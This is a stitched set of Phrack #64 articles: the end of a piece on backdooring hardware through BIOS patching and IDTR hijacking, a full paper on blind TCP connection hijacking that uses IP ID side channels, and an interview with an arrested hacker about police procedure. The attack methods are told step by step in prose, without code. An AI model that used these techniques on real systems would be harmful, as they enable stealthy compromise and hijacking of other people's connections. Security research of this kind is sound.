First, we can hijack BIOS interruptions and make them jump to our code. This is interesting because instead of writing all the code in the BIOS, we can now hijack BIOS routines having as much space as we need and without having to do a lot of reverse engineering.

Next, we can easily patch the boot loader on‑thy‑fly as it is our own code which loads it. In fact, we don't even have to call the true boot loader if we don't want to, we can make a fake one that loads a nicely patched kernel based on the real one. Or you can make a fake boot loader (or even patch the real one on‑the‑fly) that loads the real kernel and patch it on the fly. The choice is up to you.

Finally, I would talk about one last thing that came on my mind. Combined with IDTR hijacking, patching the BIOS can assure us a complete control of the system. We can patch the BIOS so that it loads our own boot loader. This boot loader is a special one, in fact it loads a mini‑OS of our own which sets an IDT. Then, as we hijacked the IDTR register (there are several ways to do it, the easiest being patching the target OS boot process in order to prevent him to erase our IDT), we can then load the true boot loader which will load the true kernel. At this time, our own os will hijack the entire system with its own IDT proxying any interrupt you want to, hijacking any event on the system. We even can use the system clock as a scheduler forthe two OS : the tick will be caught by our own OS and depending the configuration (we can say for example 10% of the time for our OS and 90% for the real OS), we can execute our code or give the control to the real OS by jumping on its IDT.

You can do lot of things simply by patching the BIOS, so I suggest you to implement your own ideas. Remember this is not so difficult, documentation about this subject already exists and we can really do lots of things. Just remember to use Bochs for tests before going in the wild, it certainly isn't fun when smoke comes out of one of the motherboard's chips...

5. Conclusion

So that's it, hardware can be backdoored quite easily. Of course, what I demonstrated here was just a fast overview. We can do LOTS of things with hardware, things that can assure us a total control of the computer we're on and remain stealth. There is a huge work to do in this area as more and more devices become CPU independent and implement many features that can be used to do funny things. Imagination (and portability, sic...) are the only limits.

For people very interested in having fun in the hardware world, I suggest to take a look at CPU microcode programming system (start with the AMD K8 reverse engineering, see [18]), network cards BIOSes and the PXE system.

(And hardware hacking can be a fun start to learn to fuck the TCPA system).

6. References

[1] : The Art of Assembly Programming ‑ Randall Hyde (http://webster.cs.ucr.edu/AoA/index.html)

[2] : Linux Device Drivers ‑ Alessandro Rubini, Jonathan Corbet (http://www.xml.com/ldd/chapter/book/)

[3] : OpenGL

(http://www.opengl.org/)

[4] : Neon Helium Productions (NeHe)

(http://nehe.gamedev.net/)

[5] : GPGPU

(http://www.gpgpu.org)

[6] : HLSL tutorial (http://msdn2.microsoft.com/en‑us/library/bb173494.aspx)

[7] : GLSL tutorial (http://nehe.gamedev.net/data/articles/article.asp?article=21)

[8] : The NVIDIA Cg Toolkit (http://developer.nvidia.com/object/cg_toolkit.html)

[9] : NVIDIA Cg tutorial (http://developer.nvidia.com/object/cg_tutorial_home.html)

[10] : nVIDIA CUDA (Compute Unified Device Architecture) (http://developer.nvidia.com/object/cuda.html)

[11] : Implementing and Detecting an ACPI BIOS RootKit ‑ John Heasman (http://www.ngssoftware.com/jh_bhf2006.pdf)

[12] : /dev/bios ‑ Stefan Reinauer (http://www.openbios.info/development/devbios.html)

[13] : OpenBIOS initiative

(http://www.openbios.info/)

[14] : Award BIOS reverse engineering guide ‑ Pinczakko (http://www.geocities.com/mamanzip/Articles/Award_Bios_RE)

[15] : Wim's BIOS

(http://www.wimsbios.com/)

[16] : Bochs IA‑32 Emulator Project (http://bochs.sourceforge.net/)

[17] : Bochs BIOS source code (http://bochs.sourceforge.net/cgi‑bin/lxr/source/bios/rombios.c)

[18] : Opteron Exposed: Reverse Engineering AMD K8 Microcode Updates (http://www.packetstormsecurity.nl/0407‑exploits/OpteronMicrocode.txt)

7. Thanks

Without these people, this file wouldn't be, so thanks to them :

* Auquen, for introducing me the idea of playing with hardware five years ago

* Kad and Mayhem, for convincing me to write this article

* Sauron, for always motivating me (nothing sexual)

* Glenux, for pointing out CUDA

* All people present to scythale's aperos, for helping me to get high in such ways I can come up with evil thinking (yeah, I was drunk when I decided to backdoor my hardware)

‑‑

Remote blind TCP/IP spoofing

_

_/B\_ W\_

(* *) Phrack #64 file 13 (* *)

| ‑ |

| | Blind TCP/IP hijacking is still alive | |

| |

| | By lkm <lkm@phrack.org> | |

| |

| |

(_____________________________

‑‑[ Contents

1 ‑ Introduction

2 ‑ Prerequisites

2.1 ‑ A brief reminder on TCP

2.2 ‑ The interest of IP ID

2.3 ‑ List of informations to gather

3 ‑ Attack description

3.1 ‑ Finding the client‑port

3.2 ‑ Finding the server's SND.NEXT 3.3 ‑ Finding the client's SND.NEXT

4 ‑ Discussion

4.1 ‑ Vulnerable systems

4.2 ‑ Limitations

5 ‑ Conclusion

6 ‑ References

‑‑[ 1 ‑ Introduction

Fun with TCP (blind spoofing/hijacking, etc...) was very popular several years ago when the initials TCP sequence numbers (ISN) were guessable (64K rule, etc...). Now that the ISNs are fairly well randomized, this stuff seems to be impossible.

In this paper we will show that it is still possible to perform blind TCP hijacking nowadays (without attacking the PRNG responsible for generating the ISNs, like in [1]). We will present a method which works against a number of systems (Windows 2K, windows XP, and FreeBSD 4). This method is not really straightforward to implement, but is nonetheless entirely feasible, as we've coded a tool which was successfully used to perform this attack against all the vulnerable systems.

‑‑[ 2 ‑ Prerequisites

In this section we will give some informations that are necessary to understand this paper.

‑‑‑‑[ 2.1 ‑ A brief reminder on TCP

A TCP connection between two hosts (which will be called respectively "client" and "server" in the rest of the paper) can be identified by a tuple [client‑IP, server‑IP, client‑port, server‑port]. While the server port is well known, the client port is usually in the range 1024‑5000, and automatically assigned by the operating system. (Exemple: the connection from some guy to freenode may be represented by [ppp289.someISP.com, irc.freenode.net, 1207, 6667]).

When communication occurs on a TCP connexion, the exchanged TCP packet headers are containing these informations (actually, the IP header contains the source/destination IP, and the TCP header contains the source/destination port). Each TCP packet header also contains fields for a sequence number (SEQ), and an acknowledgement number (ACK).

Each of the two hosts involved in the connection computes a 32bits SEQ number randomly at the establishment of the connection. This initial SEQ number is called the ISN. Then, each time an host sends some packet with N bytes of data, it adds N to the SEQ number.

The sender put his current SEQ in the SEQ field of each outgoing TCP packet. The ACK field is filled with the next *expected* SEQ number from the other host. Each host will maintain his own next sequence number (called SND.NEXT), and next expected SEQ number from the other host (called RCV.NEXT).

Let's clarify with an exemple (for the sake of simplicity, we consider that the connection is already established, and the ports are not shown.)

[=======================================

ClientServer

[SND.NEXT=1000][SND.NEXT=2000]

‑‑[SEQ=1000, ACK=2000, size=20]‑>

[SND.NEXT=1020][SND.NEXT=2000]

<‑[SEQ=2000, ACK=1020, size=50]‑‑

[SND.NEXT=1020][SND.NEXT=2050]

‑‑[SEQ=1020, ACK=2050, size=0]‑>

[=======================================

In the above example, first the client sends 20 bytes of data. Then, the server acknowledges this data (ACK=1020), and send its own 50 bytes of data in the same packet. The last packet sent by the client is what we will call a "simple ACK". It acknowledges the 50‑bytes data sent by the server, but carry no data payload. The "simple ACK" is used, among other cases, where a host acknowledge received data, but has no data to transmit yet. Obviously, any well‑formed "simple ACK" packet will not be acknowledged, as this would lead to an infinite loop. Conceptually, each byte has a sequence number, it's just that the SEQ contained in the TCP header field represents the sequence number of the first byte. For example, the 20 bytes of the first packet have sequence numbers 1000..1019.

TCP implements a flow control mechanism by defining the concept of "window". Each host has a TCP window size (which is dynamic, specific to each TCP connection, and announced in TCP packets), that we will call RCV.WND.

At any given time, a host will accept bytes with sequence number between RCV.NXT and (RCV.NXT+RCV.WND‑1). This mechanism ensures that at any tyme, there can be no more than RCV.WND bytes "in transit" to the host.

The establishment and teardown of the connection is managed by flags in the TCP header. The only useful flags in this paper are SYN, ACK, and RST (for more information, see RFC793 [2]). The SYN and ACK flags are used in the connection establishment, as follows:

[=======================================

ClientServer

[client picks an ISN]

[SND.NEXT=5000]

‑‑[flags=SYN, SEQ=5000]‑‑>[server picks an ISN]

[SND.NEXT=5001][SND.NEXT=9000]

<‑[flags=SYN+ACK, SEQ=9000, ACK=5001]‑‑

[SND.NEXT=5001][SND.NEXT=9001]

‑‑[flags=ACK, SEQ=5001, ACK=9001]‑‑>

...connection established...

[=======================================

You'll remark that during the establishment, the SND.NEXT of each hosts is incremented by 1. That's because the SYN flag counts as one (virtual) byte, as far as the sequence number is concerned. Thus, any packet with the SYN flag set will increment the SND.NEXT by 1+packet_data_size (here, the data size is 0). You'll also note that the ACK field is optional. The ACK field is not to be confused with the ACK flag, even if they are related: The ACK flag is set if the ACK field exists. The ACK flag is always set on packets beloning to an established connection.

The RST flag is used to close a connection abnormally (due to an error, for example a connection attempt to a closed port).

‑‑‑‑ [ 2.2 ‑ The interest of the IP ID

The IP header contains a flag named IP_ID, which is a 16‑bits integer used by the IP fragmentation/reassembly mechanism. This number needs to be unique for each IP packet sent by an host, but will be unchanged by fragmentation (thus, fragments of the same packet will have the same IP ID).

Now, you must be wondering why the IP_ID is so interesting? Well, there's a nifty "feature" in some TCP/IP stacks (including Windows 98, 2K, and XP) : these stacks store the IP_ID in a global counter, which is simply incremeted with each IP packet sent. This enables an attacker to probe the IP_ID counter of an host (with a ping, for exemple), and so, know when the host is sending packets.

Exemple:

[=======================================

attackerHost

‑‑[PING]‑>

<‑[PING REPLY, IP_ID=1000]‑‑

... wait a little ...

‑‑[PING]‑>

<‑[PING REPLY, IP_ID=1010]‑‑

<attacker> Uh oh, the Host sent 9 IP packets between my pings.

[=======================================

This technique is well known, and has already been exploited to perform really stealth portscans ([3] and [5]).

‑‑‑‑[ 2.3 ‑ List of informations to gather

Well, now, what we need to hijack an existing TCP connection?

First, we need to know the client IP, server IP, client port, and server port.

In this paper we'll assume that the client IP, server IP, and server port are known. The difficulty resides in detecting the client port, since it is randomly assigned by the client's OS. We will see in the following section how to do that, with the IP_ID.

The next thing we need if we want to be able to hijack both ways (send data to client from the server, and send data from server to client) is to know the sequence number of the server, and the client.

Obviously, the most interesting is the client sequence number, because it enables us to send data to the server that appears to have been sent by the client. But, as the rest of the paper will show, we'll need to detect the server's sequence number first, because we will need it to detect the client's sequence number.

‑‑[ 3 ‑ Attack description

In this section, we will show how to determine the client's port, then the server's sequence number, and finally the client's sequence number. We will consider that the client's OS is a vulnerable OS. The server can run on any OS.

‑‑‑‑[ 3.1 ‑ Finding the client‑port

Assuming we already know the client/server IP, and the server port, there's a well known method to test if a given port is the correct client port. In order to do this, we can send a TCP packet with the SYN flag set to server‑IP:server‑port, from client‑IP:guessed‑client‑port (we need to be able to send spoofed IP packets for this technique to work).

Here's what will happen when we send our packet if the guessed‑client‑port is NOT the correct client port:

[=======================================

Attacker (masquerading as client)Server

‑‑[flags=SYN, SEQ=1000]‑>

Real client

<‑[flags=SYN+ACK, SEQ=2000, ACK=1001]‑‑

... the real client didn't start this connection, so it aborts with RST ...

‑‑[flags=RST]‑>

[=======================================

Here's what will happen when we send our packet if the guessed‑client‑port IS the correct client port:

[=======================================

Attacker (masquerading as client)Server

‑‑[flags=SYN, SEQ=1000]‑>

Real client

... upon reception of our SYN, the server replies by a simple ACK ...

<‑[flags=ACK, SEQ=xxxx, ACK=yyyy]‑‑

... the client sends nothing in reply of a simple ACK ...

[=======================================

Now, what's important in all this, is that in the first case the client sends a packet, and in the second case it doesn't. If you have carefully read the section 2.2, you know this particular thing can be detected by probing the IP ID counter of the client.

So, all we have to do to test if a guessed client‑port is the correct one is:

‑ Send a PING to the client, note the IP ID

‑ Send our spoofed SYN packet

‑ Resend a PING to the client, note the new IP ID

‑ Compare the two IP IDs to determine if the guessed port was correct.

Obviously, if one want to make an efficient scanner, there's many difficulties, notably the fact that the client may transmit packets on his own between our two PINGs, and the latency between the client and the server (which affects the delay after which the client will send his RST packet in case of an incorrect guess). Coding an efficient client‑port scanner is left as an exercise to the reader :). With our tool ‑ which measures the latency before the attack and tries to adapt itself to the client's traffic in real‑time ‑ the client‑port is usually found in less than 3 minutes.

‑‑‑‑[ 3.2 ‑ Finding the server's SND.NEXT

Now that we (hopefully :)) have the client port, we need to know the server's SND.NEXT (in other words, his current sequence number).

Whenever a host receive a TCP packet with the good source/destination ports, but an incorrect seq and/or ack, it sends back a simple ACK with the correct SEQ/ACK numbers. Before we investigate this matter, let's define exactly what is a correct seq/ack combination, as defined by the RFC793 [2]:

A correct SEQ is a SEQ which is between the RCV.NEXT and (RCV.NEXT+RCV.WND‑1) of the host receiving the packet. Typically, the RCV.WND is a fairly large number (several dozens of kilobytes at last).

A correct ACK is an ACK which corresponds to a sequence number of something the host receiving the ACK has already sent. That is, the ACK field of the packet received by an host must be lower or equal than the host's own current SND.SEQ, otherwise the ACK is invalid (you can't acknowledge data that were never sent!).

It is important to node that the sequence number space is "circular". For exemple, the condition used by the receiving host to check the ACK validity is not simply the unsigned comparison "ACK <= receiver's SND.NEXT", but the signed comparison "(ACK ‑ receiver's SND.NEXT) <= 0".

Now, let's return to our original problem: we want to guess server's SND.NEXT. We know that if we send a wrong SEQ or ACK to the client from the server, the client will send back an ACK, while if we guess right, the client will send nothing. As for the client‑port detection, this may be tested with the IP ID.

If we look at the ACK checking formula, we note that if we pick randomly two ACK values, let's call them ack1 and ack2, such as |ack1‑ack2| = 2^31, then exactly one of them will be valid. For example, let ack1=0 and ack2=2^31. If the real ACK is between 1 and 2^31 then the ack2 will be an acceptable ack. If the real ACK is 0, or is between (2^32 ‑ 1) and (2^31 + 1), then, the ack1 will be acceptable.

Taking this into consideration, we can more easily scan the sequence number space to find the server's SND.NEXT. Each guess will involve the sending of two packets, each with its SEQ field set to the guessed server's SND.NEXT. The first packet (resp. second packet) will have his ACK field set to ack1 (resp. ack2), so that we are sure that if the guessed's SND.NEXT is correct, at least one of the two packet will be accepted.

The sequence number space is way bigger than the client‑port space, but two facts make this scan easier:

First, when the client receive our packet, it replies immediately. There's not a problem with latency between client and server like in the client‑port scan. Thus, the time between the two IP ID probes can be very small, speeding up our scanning and reducing greatly the odds that the client will have IP traffic between our probes and mess with our detection.

Secondly, it's not necessary to test all the possible sequence numbers, because of the receiver's window. In fact, we need only to do approx. (2^32 / client's RCV.WND) guesses at worst (this fact has already been mentionned in [6]). Of course, we don't know the client's RCV.WND. We can take a wild guess of RCV.WND=64K, perform the

scan (trying each SEQ multiple of 64K). Then, if we didn't find anything, wen can try all SEQs such as seq = 32K + i*64K for all i. Then, all SEQ such as seq=16k + i*32k, and so on... narrowing the window, while avoiding to re‑test already tried SEQs. On a typical "modern" connection, this scan usually takes less than 15 minutes with our tool.

With the server's SND.NEXT known, and a method to work around our ignorance of the ACK, we may hijack the connection in the way "server ‑> client". This is not bad, but not terribly useful, we'd prefer to be able to send data from the client to the server, to make the client execute a command, etc... In order to do this, we need to find the client's SND.NEXT.

‑‑‑‑[ 3.3 ‑ Finding the client's SND.NEXT

What we can do to find the client's SND.NEXT ? Obviously we can't use the same method as for the server's SND.NEXT, because the server's OS is probably not vunerable to this attack, and besides, the heavy network traffic on the server would render the IP ID analysis infeasible.

However, we know the server's SND.NEXT. We also know that the client's SND.NEXT is used for checking the ACK fields of client's incoming packets. So we can send packets from the server to the client with SEQ field set to server's SND.NEXT, pick an ACK, and determine (again with IP ID) if our ACK was acceptable.

If we detect that our ACK was acceptable, that means that (guessed_ACK ‑ SND.NEXT) <= 0. Otherwise, it means.. well, you guessed it, that (guessed_ACK ‑ SND_NEXT) > 0.

Using this knowledge, we can find the exact SND_NEXT in at most 32 tries by doing a binary search (a slightly modified one, because the sequence space is circular).

Now, at last we have all the required informations and we can perform the session hijacking from either client or server.

‑‑[ 4 ‑ Discussion

In this section we'll attempt to identify the affected systems, discuss limitations of this attacks, present similar attacks against older systems.

‑‑‑‑[ 4.1 ‑ Vulnerable systems

This attack has been tested on Windows 2K, Windows XP <= SP2, and FreeBSD 4. It should be noted that FreeBSD has a kernel option to randomize the IP ID, which makes this attack impossible. As far as we know, there's no fix for Windows 2K and XP.

The only "bug" which makes this attack possible on the vulnerable systems is the non‑randomized IP ID. The other behaviors (ACK checking that enables us to do a binary search, etc...) are expected by the RFC793 [2] (however, there's been work to improve these problems in [4]).

It's interesting to see that, as far as we could test, only Windows 2K, Windows XP, and FreeBSD 4 were vulnerable. There's other OS which use the same IP ID incrementation system, but they don't use the same ACK checking mechanism. Hmm.. this similarity between Windows's and FreeBSD's TCP/IP stack behavior is troubling... :) MacOS X is based on FreeBSD but is not vulnerable because it uses a different IP ID numbering scheme. Windows Vista wasn't tested.

‑‑‑‑[ 4.2 ‑ Limitations

The described attack has various limitations:

First, the attack doesn't work "as is" on Windows 98. That's not really a limitation, because the initial SEQ of Windows 98 is equal to the uptime of the machine in milliseconds, modulo 2^32. We won't discuss how to do hijacking with Windows 98 because it's a trivial joke :)

Secondly, the attack will be difficult if the client has a slow connection, or has a lot of traffic (messing with the IP ID analysis). Also, there's the problem of the latency between the client and the server. These problems can be mitigated by writing an intelligent tool which measures the latency, detects when the host has traffic, etc...

Furthermore, we need access to the client host. We need to be able to send packets and receive replies to get the IP ID. Any type of packet will do, ICMP or TCP or whatever. The attack will not be possible if the host is behind a firewall/NAT/... which blocks absolutely all type of packets, but 1 unfiltered port (even closed on the client) suffices to make the attack possible. This problem is present against Windows XP SP2 and later, which comes with an integrated firewall. Windows XP SP2 is vulnerable, but the firewall may prevent the attack in some situations.

‑‑[ 5 ‑ Conclusion

In this paper we have presented a method of blind TCP hijacking which works on Windows 2K/XP, and FreeBSD 4. While this method has a number of limitations, it's perfectly feasible and works against a large number of hosts. Furthermore, a large number of protocols over TCP still use unencrypted communication, so the impact on security of the blind TCP hijacking is not negligible.

‑‑[ 6 ‑ References

[1] http://lcamtuf.coredump.cx/newtcp/

[2] http://www.ietf.org/rfc/rfc793.txt

[3] http://insecure.org/nmap/idlescan.html

[4] http://www.ietf.org/internet‑drafts/draft‑ietf‑tcpm‑tcpsecure‑07.txt

[5] http://seclists.org/bugtraq/1998/Dec/0079.html

[6] http://osvdb.org/reference/SlippingInTheWindow_v1.0.doc

Know your enemy

_

_/B\_ W\_

(* *) Phrack #64 file 10 (* *)

| ‑ |

| | Know your enemy : facing the cops | |

| |

| | By Lance | |

| |

| |

(_____________________________

The following article is divided into three parts. The first and second part are interviews done by The Circle of lost Hackers. The people interviewed are busted hackers. You can learn, through their experiences, how cops are working in each of their country. The last part of this article is a description about how a Computer Crime Unit proceeds to bust hackers. We know that this article will probably help more policemen than hackers but if hackers know how the cops proceed thay can counter them. That's the goal of this article.

Have a nice read.

(Hi Lance! :)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Willy's interview

<THE CIRCLE OF LOST HACKERS> Hi WILLY, can you tell us who are you, what's your nationality, and what's your daily job ?

hi. i'm from germany. i actually finished law school.

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: Can you tell us what kind of relationship you're having with the police in your country ? In some other European country, the law is hardening these days, what about germany ?

Well, due to the nature of my finished studies, I can view the laws from a professional point. The laws about computer crime did not change since years. so you cant see they are getting harder. What we can say is, that due to 9/11/01, some privacy laws got stricter .

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: Can you explain us what kind of privacy laws got stricter ?

Yeah. for example all universities have to point students that are muslims, between 20/30, not married, etc. so police can do a screen search. Some german courts said this is illegal, some said not. the process is on‑going, but the screen searches didnt have much results yet. On the other hand, we have pretty active privacy‑protection people ("datenschutzbeauftragte") which are trying to get privacy a fundamental right written in the constitution. So, the process is like we have certain people who want a stricter privacy law, e.g. observation due to video‑cameras on public places. (which does happen already somewhere). But, again, we have active people in the cuntry who work against these kind of observation methods. its not really decided if the supervision is getting stronger. What is getting stronger are all these DNA‑tests now for certain kind of crimes, but its still not the way that any convicted person is in a DNA database ‑ luckly.

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: Do you have the feeling that Computer related law is stricter since 09/11/01 ?

Definitly not.

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: Are these non‑computer related enforcements happened since the schroeder re‑election ?

Nope. these enforcements ("sicherheitspaket") happened after 9/11. the re‑election of schroeder had nothing to do with enforcements. On one hand, ISP's have to keep the logfiles of dial‑in IP's for 90 days. but federal ministry of economics and technology is supporting a project called "JAP" (java annonymous proxy) to realize anonymous unobservable communication. I dont know in details, but I'm pretty sure the realisation of JAP is not ok with the actualy laws in germany, because you can surf really completely anonymously with JAP. this is not corresponding with the law to keep the logfiles. i dont know. from my point of view, eventhough i (of course) like JAP, it is not compatible with current german law. but its support by a federal ministry. thats pretty strange i think. well, we'll see. You can get information about this on http://anon.inf.tu‑dresden.de/index_en.html .

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: now that we know a bit more about the context, can you explain us how you get into hacking, and since when you are involved in the scene ?

Well, how did i get contact to the scene? i guess it was a way pretty much people started. i wanted to have the newest games. so I talked to some older guys at my school, and they told me to get a modem and call some BBS. This was i guess 1991. you need to know that my hometown Berlin was pretty active with BBS, due to a political reason : local calls did only cost 23pf. That was a special thing in west‑berlin / cold‑war. I cant remember when it was abolished. but, so there amyn many BBS in berlin due to the low costs. Then, short time after, i got in contact with guys who always got the newest stuff from USA/UK into the BBS, and i though. "wham, that must be expensive" ‑ it didnt take a long time untill i found out that there are ways to get around this. Also, I had a local mentor who introduced me to blueboxing and all the neat stuff around PBX, VMBS and stuff.

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: when did you start to play with TCP/IP network ?

I think that was pretty late. i heard that some of my oversea friends had a new way of chatting. no chat on BBS anymore, but on IRC. I guess this was in 1994. So, i got some informations, some accounts on a local university, and i only used "the net" for irc'ing.

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: When (and why) did you get into troubles for the first time,

Luckly, i only got into trouble once in 1997. I got a visit from four policemen (with weapons), who had a search warrent and did search my house. I was accused for espionage of data. thats how they call hacking here. They took all my equipment and stuff and it took a long time untill i heard of them again for a questionning . I was at the police several times. first time, I think after 6 month, was due to a meeting with the attorny at state and the policemen. This was just a meeting to see if they can use my computer stuff as prove. It was like they switched the computer on, the policemen said to the attorney "this could be a log file" and the attorny said "ok this might be a prove". this went for all cd's and at least 20 papers with notes. ("this could be an IP adress". "this could be a l/p, etc . Of course, the attorney didnt have much knowledge, and i lost my notes with phone numbers on it ("yeah, but it could be an IP") . However, this was just a mandatory meeting because I denied anything and didnt allow them to use any of the stuff, so there has to be a judge or an attorney to see if the police took things that can be a prove at all. The second time I met them was for the crimes in question. I was there for a questioning (more than 2 years after the raid, and almost 3 years after the actualy date where i should have done the crime) .

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: How long did you stay at the police station just after your first perquisition ?

First time, that was only 15 minutes. It was really only to see if the police took the correct stuff. e.g. if they had taken a book, I would have to get it back. because a book cant have anything to do with my accused crime. (except i had written IP numbers in that book, hehe)

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: what about the crime itself ? Did you earn money or make people effectively loose money by hacking ?

No, i didnt earn any money. it was just for fun, to learn, and to see how far you can push a border. see what is possible, whats not. People didnt loose any money, too.

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: How did they find you ?

I still dont really know how they found me. the accused crime was (just) the unauthorized usage of dial‑in accounts at one university. Unluckly, it was the starting point of my activities, so was a bit scared at first. You have to dial‑in somwhere, if if that facility buists you, it could have been pretty bad. At the end, after the real questioning and after i got my fine, they had to drop ALL accuses of hacking and i was only guilty for having 9 warez cd's)

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: were you dialing from your home ?

Yeah from my home. but i didnt use ISDN or had a caller ID on my analoge line, and it is not ok to tap a phone line for such a low‑profile crime like hacking here in germany . So, since all hacking accuses got dropped, I didnt see what evidence they had, or how they get me at all.

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: Can you tell more about the policemen ? WHat kind of organisation did bust you ?

It was a special department for computer crime organzied from the state police, the "landeskriminalamt" LKA. They didnt know much about computers at all i think. They didnt find all logfiles I had on my computer, they didnt find my JAZ disks with passwd files, they didnt find passwd files on my comp., etc .

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: Where did they bring u after beeing busted at the raid, and the second time for the interview ?

After the raid, I could stay at home ! For the interview, I went the headquater of the LKA, into the rooms of the computer crime unit. simple room with one window, a table & chair, and a computer where the policemen himself did type what he asked, and what i answered.

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: have you heard interresting conversation between cops when you were in there ?

hehe nope. not at all. and, of course, the door to the questioning room was closed when i was questioned. so i couldnt hear anything else . I have been interviewed by only one guy from "polizeihauptkommisar", no military grade, only a captain like explained in http://police‑badges.de/online/sammeln/us‑polizei.html .

Another thing about the raid: they did ring normally, nothing with bashing the door. if my mother hadnt opened the door, i had enough time to destroy things. but unluckly, as most germans, she did open the door when she heard the word "police" hehe.

I didnt not have a trial, i accepted a "order of summary punishment" this is the technical term i looked up in the dictonary :‑) This is something that a judge decides after he has all information. he can open a trial or use this order of summary punishment. they mail it you you, and if you dont say "no, i deny" within one week, you accpeted it :‑) When you deny it, THEN you definitly decide to go to court and have a trial .

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: do you advise hackers to accept it ?

You cant generally give an advice about that. in my case, i found it important that i do not have any crime record at all and that i count as "first offender" if i ever have a trial in the future. so with that accpetion of the summary, i knew what i get, which was acceptable for my case. if you go to court, you can never know if the fine will be much higher. but you cant generalize it. if its below "90 tagessaetze" (‑‑> over 90 you get a crime recoard), i guess i would accept it, but again, better go to a lawyer of your trust :‑)

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: can you compare LKA with an american and/or european organisation ? What is their activity if their are not skilled with computers ?

Mmmm every country within germany has its special department called LKA. Its not like the FBI (that would be BKA), but it would be like a state in the usa, say florida, has a police department for whole florida which does all the special stuff, like organzied crime. Computer crime in germany belongs to economic crime, and therefore, the normal police isnt the correct department, but the LKA. By the way, I heard from different people that they are more skilled now. but at that time, I think only one person had an idea about UNIX at all. I know that the BKA has a special department for computer crime, because a friend of mine got visited by the BKA, but, most computer crime departments here are against child‑porn. I dont think that too many people get busted for hacking in germany at all. they do bust child porn, they do bust warez guys, they do bust computer fraud, related to telco‑crimes. but hacking, I dont know lots of people who had problems for real hacking. except one guy .

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: is there special services in your country who are involved in hacking ?

Special services ? what do you mean? like CIA ? hehe ?! We have BND (counter‑spying), MAD (military spying), verfassungsschutz (inland‑spying), but I dont think we a service that is concentrating on computer crime. What we do have is a lot of NSA (echelon) stations from the US. I guess because of the cold war, we're still pretty much under the supervision of these services :‑) so the answer is: we dont have such services, or they do work so secret that noone knows, but i doubt this in germany hehe.

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: Except for the crime they inculped you, did you have any relations with the police ? (phone calls, non related interview, job proposition) ?

Hehe, no, not at all.

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: what kind of information was the police asking you during your interview ? Were they asking non crime‑related information ? (like: who are you chilling with, etc ?)

Yeah, that was the part they where most interested in ! They had printed my /etc/passwd and said "thats your nick, right?" . I didnt say anything to that whole complex, but they continued, and I mean, if you have one user in your /etc/passwd, it is pretty easy to guess thats your nick. So, they had searched the net for that nick, they found a page maintained by some hackers who formed some kind of crew. they had printed the whole website of that crew, pointing out my name anywhere where it appeared. They tried to play the good‑cop game, the "you're that cool dude there eh?" etc. I didnt say anything again. It took several minutes, and they wanted to pin‑point me that i'm using this nick they found in /etc/passwd and that i am a member of that group which they had the webpage printed. They knew that there was a 2nd hacker at that university. They asked me all the time if i know him. I dont know why he had more luck. of course i did know him, it was my mate with whom i did lots of the stuff together.

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: You didnt say anything ? How did they accepted this ?

hehe. they had to accept it. i think thats in most countries that, if you are accused, you have the right to say nothing. I played an easy game: I accepted to have copied the 9 cd's. because the cd's are prove enough at all, then the cops where happy. I didnt say anything to that hacking complex, which was way more interesting for them. I though "I have to give them something, if I dont want to go before court" . I said "I did copy that windows cd" so they have at least something.

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: did you feel some kind of evolution in your relation with police ? Did they try to be friend with you at some point ?

yeah, they did try to be friend at several stages.

a) At the raid. my parents where REALLY not amuzed, i think you can imagine that. having policemen sneaking through your cloth, your bedroom, etc. So, they noticed my mom was pretty much nervous and "at the end" . They said "make it easy for your mother, be honest, be a nice guy, its the first time, tell us something ..." (due to my starting law school at that time, I, of course knew that its the best thing to stay calm and say nothing.)

b) At the questioning, of course. after I admitted the warez stuff, they felt pretty good, which was my intention. they allowed me to smoke, and stuff like that. when it came to hacking, and i didnt say anything, They continued to be "my friend", and tried to convince me "thats its easier and better if i admit it, because eveidence is so high" . They where friendly all the time, yeah.

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: What do you think they were really knowing ?

They definitly knew I used unauthorized dial‑in accounts at that university, they knew I was using that nick, and that I am a member of that hacking group (nothing illegal about that, though) . I was afraid that they might know my real activities, because, again, that university was JUST my starting point, so all i did was using accounts i shouldnt use. Thats no big deal at all, dial‑ins. but i didnt know what they knew about the real activities after the dial‑in, so i was afraid that they know more about this.

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: did they know personnal things about the other people in your hacking group ?

nope, not at all.

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: How skilled are the forensics employed by german police in 2002 ?

huh, i luckly dont know. I read that they do have some forensic experts at the BKA, but the usually busting LKA isnt very skilled, in my opinion. they have too less people to cover all the computer crimes. they work on low money with old equipment. and they use much of their time to go after kiddie‑porn.

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: how does the police perceived your group ? (front‑side german hacking group you guyz all know)

I think they thought we're a big active crew which does hacking, hacking and hacking all the time. i guess they wanted to find out if we e arn money with that, e.g., of if we're into big illegal activities. because of course, it might be illegal just to be a member of an illegal group. like organzied crime.

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: in the other hand, what do you think the other hacking crew think about your group ?

We and other hackers saw us as group which shares knowledge, exchange security related informations, have nice meetings, find security problems and write software to exploit that problems. I definitly did not see us as organzied hacking group which earns money, steal stuff or make other people loose money, but, I mean, you cant know what a group really does just from visiting a webpage and looking at some papers or tools.

‑‑

